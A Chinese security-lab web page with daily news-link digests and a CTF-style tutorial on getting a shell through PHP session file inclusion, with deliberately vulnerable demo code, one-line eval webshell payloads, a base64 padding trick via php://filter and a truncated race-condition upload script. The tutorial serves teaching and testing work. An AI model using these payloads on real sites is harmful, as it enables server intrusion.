免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、思科Talos 披露 macOS SMB 漏洞的详细信息 https://www.securityweek.com/cisco-discloses-details-macos-smb-vulnerabilities 2、JBS 在网络攻击后恢复大部分生产 https://www.securityweek.com/largest-meat-producer-getting-back-online-after-cyberattack 3、微软收购 ReFirm Labs 以增强物联网固件安全 https://www.securityweek.com/microsoft-buys-refirm-labs-expand-iot-firmware-security-push 4、Lasso 库一高危漏洞影响Cisco、Akamai产品及Linux发行版 https://www.securityweek.com/vulnerability-lasso-library-impacts-products-cisco-akamai 5、多个供应商的工业交换机受Korenix 固件漏洞影响 https://www.securityweek.com/industrial-switches-several-vendors-affected-same-vulnerabilities 6、Fancy Product Designer WordPress插件零日漏洞影响上万网站 https://securityaffairs.co/wordpress/118522/hacking/fancy-product-designer-wordpress-plugin-flaw.html 7、Zerodium 出10W赏金寻求 Pidgin 零日漏洞 https://securityaffairs.co/wordpress/118500/breaking-news/zerodium-pidgin-0day.html 8、研究人员发现抢先交易行为每月从以太坊交易中窃取 2.8 亿美元 https://securityaffairs.co/wordpress/118512/hacking/280-million-stolen-per-month-from-crypto-transactions.html 9、研究人员发现针对韩国政府机构的黑客行动 https://thehackernews.com/2021/06/researchers-uncover-hacking-operations.html 10、由于云配置错误,《银河之战》 600 万玩家资料泄露 https://www.infosecurity-magazine.com/news/battle-galaxy-gamers-data-leak/
网络安全日报 2021年06月02日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、毕马威报告称Accellion 未能及时通知客户 FTA 零日 https://www.securityweek.com/report-accellion-failed-notify-customers-fta-zero-day 2、卡巴斯基报告称2021年Q1网络攻击利用MS Office漏洞最多 https://www.securityweek.com/kaspersky-exploits-ms-office-flaws-most-popular-q1-2021 3、攻击者传播Android恶意软件Teabot和Flubot https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/ 4、瑞典公共卫生局遭黑客攻击后关闭了SmiNet数据库 https://www.bleepingcomputer.com/news/security/swedish-health-agency-shuts-down-sminet-after-hacking-attempts/ 5、印度加尔各答ATM机遭黑客攻击损失400万卢比 https://timesofindia.indiatimes.com/city/kolkata/kol-atms-under-sophisticated-hacking-attack/articleshow/83096894.cms 6、Stanadyne旗下公司遭到Conti勒索软件攻击 https://www.technadu.com/stanadynes-purepower-technologies-conti-ransomware-group/280366/ 7、研究人员发现多种支持EPUB格式的电子阅读系统中存在安全漏洞 https://portswigger.net/daily-swig/epub-vulnerabilities-electronic-reading-systems-riddled-with-browser-like-flaws 8、新兴Prometheus勒索软件团伙出售墨西哥政府数据 https://securityaffairs.co/wordpress/118446/cyber-crime/prometheus-grief-ransomware.html 9、白宫发言人称针对JBS的勒索软件攻击可能来自俄罗斯 https://securityaffairs.co/wordpress/118490/cyber-crime/jbs-attack-russian-origin.html 10、Nobelium 通过新的网络钓鱼活动再次活跃起来 https://cyware.com/news/nobelium-active-again-with-new-phishing-campaign-30bf4eee
浅谈利用session绕过getshell
在前些时间,国赛上再一次遇到了服务器本地文件包含session的漏洞,这是个老生常谈的东西了,但还是常常可以碰到,而我们想利用session来getshell往往还需要一些特殊的方法,借此机会,研究一番。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID21bb-8308-4117-ab95-a4602fa6c377  (本实验介绍了文件包含时绕过限制的原理,以及介绍利用文件包含漏洞读取源码的原理。) 基础知识 PHP SESSION的存储 SESSION会话存储方式 在Java中,用户的session是存储在内存中的,而在PHP中,则是将session以文件的形式存储在服务器某个文件中,我们可以在php.ini里面设置session的存储位置session.save_path 在很多时候服务器都是按照默认设置来运行的,假如我们发现了一个没有安全措施的session文件包含漏洞时,我们就可以尝试利用默认的会话存放路径去包含getshell,因此总结常见的php-session的默认存储位置是很有必要的 默认路径 /var/lib/php/sess_PHPSESSID /var/lib/php/sessions/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSID session文件的存储路径是分为两种情况的 一是没有权限,默认存储在/var/lib/php/sessions/目录下,文件名为sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到(一般在利用漏洞时我们自己设置phpsessid) 二是phpmyadmin,这时的session文件存储在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp 与 SESSION 有关的几个 PHP 选项 session.serialize_handler 一是php,服务器在配置文件或代码里面没有对session进行配置的话,PHP默认的会话处理方式就是session.serialize_handler=php这种模式机制,这种模式只对用户名的内容进行了序列化存储,没有对变量名进行序列化,我们可以看作是服务器对用户会话信息的半序列化存储 二是session.serialize_handler=php_serialize,这种处理模式在PHP 5.5后开始启用,与上一种类似,但无论是用户名的内容还是变量名等都进行了系列化,可以看作是服务器对用户会话信息的全序列化存储 三是php_binary,其存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 常见就是以上三种,还有一些其他的比如session.serialize_handler = wddx等这里就不展开赘述了 对比上面session.serialize_handler的两种处理模式,可以看到他们在session处理上的差异,但我们编写代码不规范时对session的处理采用了多种情况,那么在攻击者可以利用的情况下,很可能会造成session反序列化漏洞。 session.auto_start 默认是off状态,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。 session.use_strict_mode 默认是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值. 因为sessid的可控,我们很容易借此达到我们getshell的目的,但是我们还存在session.upload_progress.cleanup session.upload_progress.cleanup 默认开启,一旦读取了所有POST数据,它就会清除进度信息,所以我们一般都要通过条件竞争来进行文件上传 session.upload_progress.enabled 默认情况下是开启的,但也当该配置开启时,我们今天要讲的重点才得以引出 Session Upload Progress Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 $_SESSION 中获得。 当PHP检测到这种POST请求时,它会在 $_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。 下面给出一个php官方文档的一个进度数组的结构的样例: <form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form> 此时在session中存放的数据看上去是这样子的: <?php $_SESSION["upload_progress_123"] = array( // 其中存在上面表单里的value值"123" "start_time" => 1234567890, // The request time 请求时间 "content_length" => 57343257, // POST content length post数据长度 "bytes_processed" => 453489, // Amount of bytes received and processed 已接收的字节数量 "done" => false, // true when th LFI漏洞 LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如Session会话文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。 我们这里重点讲的是针对LFI Session文件包含,我们可以简单理解成以为配置的原因,用户可以控制session文件中的部分信息,然后将这部分信息更改为恶意代码,然后去包含这个session文件达到攻击效果,在下面,我会演示一下大概流程 演示代码 session.php <?php session_start(); $username = $_POST['username']; $_SESSION["username"] = $username; ?> index.php <?php $file = $_GET['file']; include($file); ?> payload 分析session.php可以看到用户会话信息username的值用户是可控的,因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用 我们传入 username=Abc 我们看到,系统给我们初始了一个sess_ID 可以看出我们可以对username进行控制,那么假如我们传入的是一句话木马呢 username=<?php eval($_REQUEST['Abc']);?> 一句话马传入了,我们试试是不是真的可以像我们想的那样执行 从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。 当然这是一种理想化的简单的漏洞利用情况,但是在平常中会有很多限制,常见的就是两种:1.对用户的会话信息进行了一定的处理,例如对用户session信息进行编码或加密 2.没有代码session_start()进行会话的初始化操作,这时服务器无法生成用户session文件,同时,用户也无法进行恶意session文件包含 下面,我们来讲一讲怎么绕过这些限制 Session Base64Encode 很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。 demo session.php <?php session_start(); $username = $_POST['username']; $_SESSION['username'] = base64_encode($username); echo "username -> $username"; ?> index.php <?php $file = $_GET['file']; include($file); ?> exp 按照我们的一般套路注入 我们可以发现我们包含的session被编码了,导致LFI -> session失败。 在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。(其他编码同理) index.php?file=php://filter/read=convert.base64-decode/resource=/phpStudy/PHPTutorial/tmp/tmp/sess_gnl84oftbpj0l47o5m2hlooi92 吼,无法解码! 这是为什么,来来来我们再仔细看看session文件内容 username|s:44:"PD9waHAgZXZhbCgkX1JFUVVFU1RbJ0FiYyddKTs/Pg=="; 看到了吗,这里并不是只有base64密文,还有username|s:44:"这一段非base64的字符串,编码与解码不对应,当然无法解码 那么我们有什么方法解决吗 首先我们先来了解一下base64编码的特点 Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。 Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。 由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。 一个字符串中,不管出现多少个特殊字符或者位置上的差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。 总而言之,要想正常解码,需要session前面的这部分数据长度需要满足4的整数倍,据此我们再次构造payload username=abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd<?php eval($_POST['Abc']);?> 符合,我们重新传参看看 执行成功 注:这是在session.serialize_handler=php配置下执行成功的,在其他配置下也是同样的原理 No session_start() 一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是如果一个网站存在LFI漏洞但却没有用户会话,那么我们该怎么去包含session信息呢 还记得我们上面说过的Session Upload Progress吗? Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。——https://xz.aliyun.com/u/31688 session中一部分数据(session.upload_progress.name)是用户自己可以控制的,那么我们在Cookie中设置PHPSESSID=Abc(默认情况下由于session.use_strict_mode=0用户可以自定义Session ID),同时POST恶意字段PHP_SESSION_UPLOAD_PROGRESS,只要上传包里带上这个键,PHP就会自动启用Session,又由于我们之前设置了Session ID,所以session文件会自动创建且可控 但又由于session.upload_progress.cleanup = on这个配置的存在,当文件上传结束后,php将会立即清空对应session文件中的内容,这会导致我们最终包含的只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用 import io import requests import threading sessid = 'SsBNMsssSssssL' data = {"cmd":"system('cat flag.php');"} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post('http://192.168.43.82', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php var_dump(scandir("/etc"));?>'}, files 国赛的脚本,改下payload即可
网络安全日报 2021年06月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软为亚太地区的公共部门创建网络安全委员会 https://www.securityweek.com/microsoft-creates-cybersecurity-council-public-sector-apac 2、SonicWall 修复了防火墙管理应用程序中的命令注入漏洞 https://www.securityweek.com/sonicwall-patches-command-injection-flaw-firewall-management-application 3、研究人员发现新型勒索软件 Epsilon Red https://www.securityweek.com/cybercriminals-target-companies-new-epsilon-red-ransomware 4、丹麦情报部门帮助美国国家安全局监视欧洲政客 https://securityaffairs.co/wordpress/118434/intelligence/us-nsa-spy-european-politicians.html 5、安全研究人员发现绕过Microsoft PatchGuard安全功能的漏洞 https://securityaffairs.co/wordpress/118427/hacking/microsoft-patchguard-kpp-bypass.html 6、亚马逊设备将启动自动与邻居设备共享你的 Wi-Fi功能 https://thehackernews.com/2021/05/your-amazon-devices-to-automatically.html 7、1.3亿条印度进出口数据记录在暗网中遭泄露 https://cybleinc.com/2021/05/28/130-million-records-of-india-based-import-export-data-allegedly-leaked-in-the-darkweb/ 8、网络钓鱼活动通过虚假电影网站分发BazarLoader https://cyware.com/news/fake-streaming-service-spreads-bazarloader-f8bdeeab 9、肉制品公司JBS Foods因大规模网络攻击而关闭 https://news.softpedia.com/news/jbs-foods-shuts-down-due-to-massive-cyberattack-533076.shtml 10、研究人员开发了一种针对机器学习系统的对抗性攻击-DeepSloth https://cyware.com/news/deepsloth-an-adversarial-attack-on-machine-learning-systems-dbfc5b2e
网络安全日报 2021年05月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现可对Siemens PLC进行远程攻击的严重漏洞 https://www.securityweek.com/newly-disclosed-vulnerability-allows-remote-hacking-siemens-plcs 2、研究人员披露新的攻击技术可更改认证的PDF文档 https://securityaffairs.co/wordpress/118404/hacking/altering-signed-pdf-documents.html 3、 360 NETLAB 发现了针对Linux名为 Facefish 的新后门 https://securityaffairs.co/wordpress/118388/malware/facefish-backdoor.html 4、FBI 将与 HIBP Pwned Passwords 共享调查期间发现的泄露密码 https://securityaffairs.co/wordpress/118377/security/fbi-passwords-hibp-pwned-passwords.html 5、SonicWall 修复了 NSM On-Prem 漏洞 https://securityaffairs.co/wordpress/118372/security/sonicwall-nsm-on-prem-bug.html 6、微软披露了 NOBELIUM 新型复杂鱼叉式网络钓鱼攻击 https://securityaffairs.co/wordpress/118352/apt/spear-phishing-attacks-nobelium.html 7、 研究人员披露浏览器劫持程序Secured Search https://securityaffairs.co/wordpress/118380/security/how-remove-secured-search.html 8、美国士兵使用的抽认卡APP意外泄露核信息 https://www.securityweek.com/nuclear-flash-cards-us-secrets-exposed-learning-apps 9、网络钓鱼活动冒充沃尔玛窃取个人信息 https://www.bleepingcomputer.com/news/security/beware-walmart-phishing-attack-says-your-package-was-not-delivered/ 10、墨西哥在勒索软件DDoS威胁后封锁了国家彩票网站 https://www.bleepingcomputer.com/news/security/mexico-walls-off-national-lottery-sites-after-ransomware-ddos-threat/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页